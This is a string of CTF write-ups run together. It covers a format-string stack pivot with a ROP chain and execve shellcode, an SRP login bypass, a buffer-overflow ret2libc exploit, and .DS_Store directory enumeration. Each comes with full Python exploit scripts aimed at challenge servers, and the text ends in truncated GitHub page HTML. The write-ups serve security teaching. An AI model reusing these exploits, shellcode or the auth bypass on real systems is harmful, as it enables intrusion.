0x080489ad0xffffd500: 0xf7fb4000 0xf7e2fb96 0xffffd538 0x08048a1b0xffffd510: 0x08054330 0x00000010 0x08048db8 0x080542c00xffffd520: 0x00000000 0x080542e0 0x00000040 0x080543300xffffd530: 0xf7fb4000 0x08052f94 0xffffd568 0x08048c6a0xffffd540: 0x080542c0 0x080542e0 0x00000013 0xf7fb4d800xffffd550: 0x00000001 0xf7fce000 0x080542c0 0x080542e00xffffd560: 0xffffd580 0x00000000 0x00000000 0xf7df7e810xffffd570: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7df7e810xffffd580: 0x00000001 0xffffd614 0xffffd61c 0xffffd5a40xffffd590: 0x00000001 0xffffd614 0xf7fb4000 0xf7fe575a0xffffd5a0: 0xffffd610 0x00000000 0xf7fb4000 0x000000000xffffd5b0: 0x00000000 0x254eba90 0x64193c80 0x000000000xffffd5c0: 0x00000000 0x00000000 0x00000040 0xf7ffd024(gdb) x/s 0x080543300x8054330: "aaa\n"``` I also want to know how the stack unravels so it helps to print the backtrace, make some "next instruction" (ni) steps out of several functions. ```(gdb) bt#0 0x08048994 in ?? ()#1 0x080489cf in ?? ()#2 0x08048a1b in ?? ()#3 0x08048c6a in ?? ()#4 0xf7df7e81 in __libc_start_main () from /lib32/libc.so.6#5 0x08048752 in ?? ()(gdb) i resp 0xffffd4d0 0xffffd4d0ebp 0xffffd4e8 0xffffd4e8(gdb) ni0x08048999 in ?? ()...0x080489cf in ?? ()(gdb) i resp 0xffffd4f0 0xffffd4f0ebp 0xffffd508 0xffffd508(gdb) ni0x080489d2 in ?? ()...0x08048a1b in ?? ()(gdb) i resp 0xffffd510 0xffffd510ebp 0xffffd538 0xffffd538(gdb) ni0x08048a1e in ?? ()...0x08048c6a in ?? ()(gdb) i resp 0xffffd540 0xffffd540ebp 0xffffd568 0xffffd568``` Whats basically happening here is we have a format string vuln, followed by several sets of `leave; ret` instruction pairs move around the `ebp` and `esp` registers. This is pretty much exactly what we need for a stack pivot. Revisitng the stack right before the fprintf() call, we can identify several pieces: ```(gdb) x/64wx $esp0xffffd4d0: 0x08054160 0x08054330 0xf7e4d319 0x0804897e0xffffd4e0: 0xf7fb4000 0x08052f94 0xffffd508 0x080489cf leave sets esp := 0xffffd4e8, ebp := 0xffffd508 ret sets eip := 0x080489cf (jump)0xffffd4f0: 0x08054330 0x00000010 0x08048db8 0x080489ad0xffffd500: 0xf7fb4000 0xf7e2fb96 0xffffd538 0x08048a1b leave sets esp := 0xffffd508, ebp := 0xffffd538 ret sets eip := 0x08048a1b0xffffd510: 0x08054330 0x00000010 0x08048db8 0x080542c00xffffd520: 0x00000000 0x080542e0 0x00000040 0x080543300xffffd530: 0xf7fb4000 0x08052f94 0xffffd568 0x08048c6a leave sets esp := 0xffffd538, ebp := 0xffffd568 ret sets eip := 0x08048c6a0xffffd540: 0x080542c0 0x080542e0 0x00000013 0xf7fb4d800xffffd550: 0x00000001 0xf7fce000 0x080542c0 0x080542e00xffffd560: 0xffffd580 0x00000000 0x00000000 0xf7df7e810xffffd570: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7df7e810xffffd580: 0x00000001 0xffffd614 0xffffd61c 0xffffd5a40xffffd590: 0x00000001 0xffffd614 0xf7fb4000 0xf7fe575a0xffffd5a0: 0xffffd610 0x00000000 0xf7fb4000 0x000000000xffffd5b0: 0x00000000 0x254eba90 0x64193c80 0x000000000xffffd5c0: 0x00000000 0x00000000 0x00000040 0xf7ffd024 0x08054330 == username (copy) -- format string0x080542e0 == "password" input0x080542c0 == username (original)0xf7fce000 == mmap'd urandom data``` So if we can somehow set one of the stack positions where `leave` is executed, then ebp will be set to a value of our choice, and then one set of `leave; ret` later `ebp` will be moved into `esp` and we'll have achieved our stack pivot. So basically, we want to set address `0xffffd4e0` to value `0x080542e0`, the position of our "password" data. At this point, I got stuck - I knew that using the `%n` format (or `%hhn`) would write the current number of printed characters into that parameter offset, but didn't quite realize how `$` and `*` could be used. Reading through [the printf man page](https://linux.die.net/man/3/printf), we can see how parameters can be accessed out of order using the `$` character and `*` gives the field width in an argument. Putting all this together we can do the following: ```%*20$c -- print a character with field width found in the 20th argument (address 0xffffd524, value 0x080542e0, our "password" input)%5$n -- write the current number of characters written (0x080542e0 given the prior format) to the 5th argument (offset 0xffffd4e8)``` Using both of these together we can input this for our "username" input and step in gdb to see the result. ```(gdb) r... username: %*20$c%5$n password: abcdefghijklmn Breakpoint 1, 0x08048994 in ?? ()(gdb) ni0x08048999 in ?? ()...0x08048a23 in ?? ()(gdb) x/i $eip=> 0x8048a23: ret (gdb) x/20wx $esp0x80542e4: 0x68676665 0x6c6b6a69 0x000a6e6d 0x000000000x80542f4: 0x00000000 0x00000000 0x00000000 0x000000000x8054304: 0x00000000 0x00000000 0x00000000 0x000000000x8054314: 0x00000000 0x00000000 0x00000000 0x000000000x8054324: 0x00000000 0x00000000 0x00000021 0x30322a25(gdb) ni0x68676665 in ?? ()``` This shows that the format string worked, sets up `esp` to "password+4" and then hits a `ret` instruction. ## ROP and Shellcode At this point, we have a 0x3c-long ROP chain which we need to turn into shellcode. None of the memory we have available is both write and execute so we'll have to call mprotect() at some point. Doing this means that we don't quite have enough room in our ROP chain to store both the ROP and shellcode so we'll also have to read in some new memory as well. Some helpful addresses we have are: ```0x080485D0 -- jump to mprotect() system call0x080485E0 -- jump to read() system call0x080485AE -- ROP gadget to: 'add $esp, 8', 'pop ebx', 'ret'``` Setting these up in a ROP chain, we can call mprotect() with our own given parameters, then call read() to read in new shellcode into the mprotect'd memory, and then jump to the shellcode. The ROP chain is shown below: ```password+0: 0 -- unusedpassword+4: 0x080485D0 -- return #1 to mprotect()password+8: 0x080485AE -- return #2 to adjust esppassword+12: 0x08048000 -- mprotect parameter #1, the addresspassword+16: 0x1000 -- mprotect parameter #2, the sizepassword+20: 7 -- mprotect parameter #3, read/write/executepassword+24: 0x080485E0 -- return #3 to read()password+28: 0x08048DBC -- return #4 to shellcodepassword+32: 0 -- read parameter #1, stdin file descriptorpassword+36: 0x08048DBC -- read parameter #2, shellcode addresspassword+40: 0x40 -- read parameter #3, shellcode size``` ## Solution Finally, putting all of this together in a script we can send our format string, ROP chain, and shellcode to the server. ```pythonimport socketimport timeimport sysimport struct addr_esp_plus_c = 0x080485AEaddr_mprotect = 0x080485D0addr_shellcode = 0x08048DBCaddr_read = 0x080485E0size_shellcode = 0x40ROP = struct.pack('IIIIIIIIIII',0,addr_mprotect,addr_esp_plus_c,addr_shellcode&~0xfff,0x1000,7,addr_read,addr_shellcode,0,addr_shellcode,size_shellcode)ROP = ROP + bytes([0xcc]*(0x40-len(ROP))) # msfvenom -p linux/x86/exec CMD=/bin/sh -f pythonSHELLCODE = b''SHELLCODE += b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"SHELLCODE += b"\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"SHELLCODE += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"SHELLCODE += b"\x89\xe1\xcd\x80"SHELLCODE = SHELLCODE + bytes([0xcc]*(size_shellcode-len(SHELLCODE))) def do_send(username): s = socket.socket() s.settimeout(10) s.connect(('18.205.93.120',1220)) data = b'' while not data.endswith(b'username:\x1b[0m '): data = data + s.recv(10240) username = username + b' ' * (11-len(username)) s.send(username+ROP+SHELLCODE) print(s.recv(1024)) time.sleep(1) s.send(b'cat flag\n') s.send(b'ls -al\n') s.send(b'cat the_real_flag\n') try: data = s.recv(1024) while len(data) > 0: print(data.decode('ascii')) data = s.recv(1024) return True except socket.timeout as e: print('timeout:',e) return False if __name__ == '__main__': do_send(b'%*34$c%5$n')``` Running this gives the flag, not in the normal `flag` file, but instead in `the_real_flag`. ```$ ./challenge20.py b' \x1b[1mpassword:\x1b[0m 'this is not the flag... try harder total 64drwxr-xr-x 1 root ctf 4096 Dec 20 09:21 .drwxr-xr-x 1 root root 4096 Dec 20 05:14 ..-r--r----- 1 root ctf 35 Dec 20 05:13 flag-rwxr-x--- 1 root ctf 42328 Dec 20 09:20 grinch-rwxr-x--- 1 root ctf 38 Dec 20 05:13 redir.sh-r--r----- 1 root ctf 52 Dec 20 05:13 the_real_flag AOTW{7h3_gr1NcH_t4K3z_ELF_aNd_sAfTeY_vEry_s3r1OslY} timeout: timed out```
# Homebrew - Crypto/web (200) Homebrew Inc learned the hard way to no longer store passwords in plaintext. Log in as admin into their new user system. Service: http://18.205.93.120:1207 ## Service Analysis This challenge started out with a simple web service without much functionality. One of the pages references "self-describing REST APIs" which a quick google search reveals are just REST API descriptions in OPTIONS requests. With that in mind, I went about writing a short script to send an OPTIONS request for `/signup` and `/login`. These in turn reveal that there are a couple extra REST API endpoints `/signup/step1`, `/login/step1`, and `/login/step2`. When working the problem I completely blew past the "SRP signup" and "SRP login" descriptions, but had I not, this would have saved a lot of time. Looking at the protocol, its eventually clear that it very closely resembles the [Secure Remote Password protocol](https://en.wikipedia.org/wiki/Secure_Remote_Password_protocol). Searching a little further gets us to an intended solution described in a [cryptopal challenge](http://cryptopals.com/sets/5/challenges/37). Basically, all that you need to do is send `0`, `N`, `2*N`, etc as your `A` value and you'll be logged in automatically. This was simple enough to writeup with a script and gives us the flag. ```pythonimport requestsimport osimport jsonimport Crypto.Hash.SHA256 as SHA256import sysimport hmacimport mathimport binascii URI = 'http://18.205.93.120:1207'jar = requests.cookies.RequestsCookieJar() def get_sha256(data): if type(data) == str: data = data.encode('ascii') s = SHA256.new() s.update(data) return s.hexdigest() def get_proof(salt,K): return hmac.new(str(salt).encode('ascii'),K.encode('ascii'),SHA256).hexdigest() def print_spec(path): print('>'*80, path) r = requests.options(URI+path) j = r.json() print(json.dumps(j,indent=2)) return j def validate(): j = print_spec('/signup') N = j['params']['N'] g = j['params']['g'] k = j['params']['k'] js1 = print_spec('/signup/step1') I = js1['prereq_example']['I'] P = js1['prereq_example']['P'] salt = js1['prereq_example']['salt'] xH = js1['prereq_example']['xH'] x = js1['prereq_example']['x'] v = js1['prereq_example']['v'] assert xH == get_sha256(str(salt)+P) assert x == int(xH,16) assert v == pow(g,x,N) jl = print_spec('/login') jl1 = print_spec('/login/step1') I = jl1['prereq_example']['I'] a = jl1['prereq_example']['a'] A = jl1['prereq_example']['A'] assert A == pow(g,a,N) jl2 = print_spec('/login/step2') a = jl2['prereq_example']['a'] A = jl2['prereq_example']['A'] B = jl2['prereq_example']['B'] salt = jl2['prereq_example']['salt'] P = jl2['prereq_example']['P'] uH = jl2['prereq_example']['uH'] u = jl2['prereq_example']['u'] xH = jl2['prereq_example']['xH'] x = jl2['prereq_example']['x'] S = jl2['prereq_example']['S'] K = jl2['prereq_example']['K'] proof = jl2['req_example']['proof'] assert uH == get_sha256(str(A)+str(B)) assert u == int(uH,16) assert xH == get_sha256(str(salt)+P) assert x == int(xH,16) assert S == pow(B-k*pow(g,x,N),(a+u*x),N) assert K == get_sha256(str(S)) print(proof) print(get_proof(salt,K)) print(hmac.new(str(salt).encode('ascii'),K.encode('ascii'),SHA256).hexdigest()) assert proof == get_proof(salt,K) a = random.randint(1,2**32-1) A = pow(g,a,N) b = random.randint(1,2**32-1) B = k*v+pow(g,b,N) uH = get_sha256(str(A)+str(B)) u = int(uH,16) S1 = pow(B-k*v,(a+u*x),N) S2 = pow(A*pow(v,u,N),b,N) print('S1:',S1%N) print('S2:',S2%N) assert S1 == S2 sys.exit(0) if __name__ == '__main__': validate() j = print_spec('/signup') N = j['params']['N'] g = j['params']['g'] k = j['params']['k'] r = requests.post(URI+'/login/step1',json={'I':'admin','A':2*N}) print(r.text) print(r.cookies) cook = r.cookies j = r.json() salt = j['salt'] B = j['B'] S = 0 K = get_sha256(str(S)) print('salt:',salt) print('K:',K) proof = get_proof(salt,K) r = requests.post(URI+'/login/step2',json={'proof':proof},cookies=cook) print(r.text) ```
# Santas pwnshop - Pwn (300) Link: https://advent2018.overthewire.org/dashboard/challenges ## Task descriptionThe task description just asks us to connect to a IP and port with netcat.So letst do it.![Task](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2013-58-43.png) ## LoginOnce you connect to the specified IP and port you are presented with a simple menu choice.Either leave or get a present. ![Login](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2013-59-24.png) Selecting 2 exists, while selecting 1 prints a base64 encoded string to stdout.![base64_1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-48.png)![base64_2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2014-00-25.png) So far so good. Extracting and decoding the base64 encoded string gives a gziped file which contains a 32bit Linux ELF binary.Running checksec on it gives us following result: ![checksec](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-02-09.png) So now its time to throw the binary into radare and inspect it.The main function is pretty simple so lets jump directly into the print_menu function. ![main](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-19-21.png)![print_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-20-34.png) Seems that there is a secret menu. If you enter 666 (0x29a) you get presented a prompt where you are asked to enter 16 keycodes. ![secret_menu](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-11-38.png) So lets check with radare what we need to enter. ![keycodes1](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-13.png)![keycode2](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-25-56.png) So it seems like we just need to enter the keycodes and extract them from radare. The code just seems to check for fixed values and then call the win function.Stepping through the code with radare in debug mode and entering the values extracted from radare confirms this.So lets just repeat that on the server. And it fails.Fetching the base64 string again shows that we get a new executable with different expected keycodes each time we connect. So we need to start automating this. This will also avoid the timeouts which occur if we are not fast enough responding to the prompts from the server. ```pythonfrom pwn import *import timeimport zlib #connectconn=remote('18.205.93.120',1205)print conn.recvuntil('Northpole\n')#fetch base64 stringconn.sendline('1')conn.recvuntil('(')s=conn.recvuntil(')')#decode the base64 string and get the gzip filegz=pwnlib.util.fiddling.b64d(s)#extract the binary from the .gz z=zlib.decompress((gz),16 + zlib.MAX_WBITS)#write it to ffff.binf=open('ffff.bin','wb')f.write(z)f.close()#now load the elf fileelf=ELF('ffff.bin') #addresses of the compare instructions checking the keycodesaddr=['0x080487bf', '0x080487d0', '0x080487ef', '0x08048800','0x08048811','0x08048830','0x08048841','0x0804884e','0x08048865','0x08048872','0x0804887f','0x08048896'] #get the values we compare against from the elf#and store them in compvalscmpvals=[]for a in addr: instr=elf.disasm(int(a,0),5) ad=instr.split(',')[1] cmpvals.append(ad) #enter the secret menuconn.recvuntil('Northpole\n')conn.sendline('666')print conn.recvuntil(':') #enter the keycodes we extracted from the elf into cmpvalsconn.sendline(cmpvals[0])print conn.recvuntil(':') conn.sendline(cmpvals[1])print conn.recvuntil(':')conn.sendline('33')print conn.recvuntil(':') conn.sendline(cmpvals[2])print conn.recvuntil(':') conn.sendline(cmpvals[3])print conn.recvuntil(':') conn.sendline(cmpvals[4])print conn.recvuntil(':') conn.sendline('333')print conn.recvuntil(':') conn.sendline(cmpvals[5])print conn.recvuntil(':') conn.sendline(cmpvals[6])print conn.recvuntil(':') conn.sendline(cmpvals[7])print conn.recvuntil(':') conn.sendline('333')print conn.recvuntil(':') conn.sendline(cmpvals[8])print conn.recvuntil(':') conn.sendline(cmpvals[9])print conn.recvuntil(':') conn.sendline(cmpvals[10])print conn.recvuntil(':') conn.sendline('333')print conn.recvuntil(':') conn.sendline(cmpvals[11])print conn.recvuntil('keycode: ')``` ACCESS GRANTED!!! So far so good we entered the correct keycodes. ![correctkeycode](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2020-29-48.png) We passed the first obstacle. Now we need to check the win function. ![winfunction](https://github.com/zero815/otwadvent2018-ctf/blob/master/images/Screenshot%20from%202018-12-27%2019-27-27.png) Seems that we reached the point where we need to pwn.The new keycode is read into a buffer which is to small if we enter sufficiently many characters.Seems that up to 800 are allowed. The stack is not executable (see checksec output) above. So we need to use return to libc or a ROP style attack.So we need to find out at which addr libc is loaded (since its different every startup).We can use the printf function to output it.First we need to find out where it is located. So we need the content of the glibc jumpslot.```objdump -R santa santa: file format elf32-i386 DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE0804cff4 R_386_GLOB_DAT __gmon_start__0804cff8 R_386_GLOB_DAT stdin@GLIBC_2.00804cffc R_386_GLOB_DAT stdout@GLIBC_2.00804d00c R_386_JUMP_SLOT read@GLIBC_2.00804d010 R_386_JUMP_SLOT printf@GLIBC_2.00804d014 R_386_JUMP_SLOT signal@GLIBC_2.00804d018 R_386_JUMP_SLOT alarm@GLIBC_2.00804d01c R_386_JUMP_SLOT puts@GLIBC_2.00804d020 R_386_JUMP_SLOT exit@GLIBC_2.00804d024 R_386_JUMP_SLOT strtoul@GLIBC_2.00804d028 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.00804d02c R_386_JUMP_SLOT setvbuf@GLIBC_2.0```So we need to leak the addr at 0804d010.0804d010 R_386_JUMP_SLOT printf@GLIBC_2.0 Next we need to use that addr and calculate the offset of system and /bin/bash.So lets get those offsets first.```nm -D libc.so --defined-only | grep " system"0003cd10 W system nm -D libc.so --defined-only | grep " printf$"00050b60 T printf strings -tx libc.so | grep "/bin/sh" 17b8cf /bin/sh``` So we need to substract 00050b60 from the addr leaked for the printf slot. And add 0003cd10 to get the system addr or 17b8cf to get the bin/sh string address. So far so good so we now need to put this things into action.First lets leak the addr of libc. So we let it jump to 0x08048420. From radare we know its the printf addr. Then we want to return to 0x08048703 back to the win function.And we want to print the content of the printf jumpslot. We could have taken any glibc jumslot available.So lets add 0x0804d010 as the addr we want to print out.```[0x080484b0]> s 0x08048420[0x08048420]> pd 20/ (fcn) sym.imp.printf 6| sym.imp.printf (const char *format) [0x080484b0]> s 0x08048703[0x08048703]> pd 20/ (fcn) sym.win 89 [0x08048703]> s 0x0804d010[0x0804d010]> pd 20 ;-- reloc.printf: ; CODE XREF from sym.imp.printf (0x8048420) 0x0804d010 .dword 0x08048426 ; RELOC 32 printf ```we can see that the printf addr reloc output matches the one from objdump :).This results into following python snippet. ```python#overwrite the buffer with As including the EBP value. #then put the function addr we want to jump to and the args on the stack #we jump into printf and wan to get the addresses of libc#so we leak the addr where libc is loaded and from the dowloaded one we get the offset to system and t#the /bin/sh string#0x08048420 is the addr of printf#0x08048803 is the return addr of win where we want to return after printf was done. #we want to get to back to the input prompt# 0804d010 is the GOT entry for a libc function like printf#can be obtained with objdump -R conn.sendline('\x41'*16+'\x20\x84\x04\x08'+'\x03\x87\x04\x08'+'\x10\xd0\x04\x08') #recv back the addr of printf add the addr in mem where libc is loaded ss=conn.recvn(4)sh= enhex(ss)#get back the base of libc by substracting the printf offsetbase=int(enhex(p32(int(sh,16))),16)-int('0x50b60',16) #calc the offset of the bin/sh stringshstring=base+int('0x17b8cf',16) #calc the offset of the system callsystemcall=base+int('0x3cd10',16)``` Now that we have the printf libc addr its time for the final step.We just need to put the addr of libc/system and bin/sh on the stack.Instead of the printf and the printf args. ```python#send the addr of system + return addr to main input + addr of bin sh stringconn.sendline('\x41'*16+p32(systemcall)+'\x03\x87\x04\x08'+p32(shstring)) #getthe flagconn.sendline('cat flag')conn.interactive()```Ok. Here we go and we got the flag:*AOTW{s4nt4_l0v3s_BL4CKh4ts}* The full python script can be found here:https://github.com/zero815/otwadvent2018-ctf/blob/master/santa_pwn.pyI am no python expert and this is a hack and does not follow any coding styles :).
# McDonald ## Description![mcdonald](mcdonald.png) Our Web Admin name's "McDonald" and he likes apples and always forgets to throw away his apple cores. Difficulty: Easy Category : Web ## Challengehttp://35.207.91.38 ## Writeup To Start with We're presented with a static webpage which has nothing . So I first Checked for robots.txt and yeahh it was there. It contained a url /backup/.DS_Store which had a file DS_Store. Then I searched a bit about DS_Store(these r the files related to APPLE ie. it stores custom attributes of its containing folder , meaning we can list the files and subdirectory of a directory in which a .DS_Store is present). Then found this https://github.com/gehaxelt/Python-dsstore/ (A parser for Apple's .DS_Store). Ran __main.py__ for the /backup/.DS_Store and Got this ![2](2.png). We got the subdirectories under /backup. Then i tried to look for more .DS_Store files under /backup/a , /b , /c.Got a ds_store for /backup/b . Again ran main.py nd This time got this __INTERESTING :P__ ![3](3.png). Got a noflag.txt huh! ..... Got there but nothing (a troll), yet we got the subdirectories for /backup/b/ . So I repeated this process for looking .DS_Store under the directories, but nothing :( ... So the Endgame was I made a wordlist containing the words __a,b,c,noflag.txt,flag.txt__ and ran again ran __dirb__ with the new wordlist. Surprisingly there was a flag.txt under /backup/b/a/c/flag.txt ![4](4.png) Went to the URL and BOOOM....Flag was there ... ## 35c3_Appl3s_H1dden_F1l3s Hope the Writeup wasn't too long.... :P
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script 